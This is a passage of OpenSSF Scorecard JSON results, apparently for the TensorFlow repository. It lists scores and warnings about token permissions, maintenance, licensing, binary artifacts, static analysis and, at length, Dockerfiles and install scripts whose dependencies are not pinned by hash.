image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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.github/workflows/cffconvert.yml:24","Info: found token with 'none' permissions: .github/workflows/issue-on-pr-rollback.yml:1","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/osv-scanner-scheduled.yml:24","Info: topLevel 'contents' permission set to 'read': .github/workflows/osv-scanner-scheduled.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/pylint-presubmit.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-branch-cherrypick.yml:39","Info: topLevel permissions set to 'read-all': .github/workflows/scorecards-analysis.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale-issues.yml:22","Info: found token with 'none' permissions: .github/workflows/update-nightly.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/update-rbe.yml:24"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: 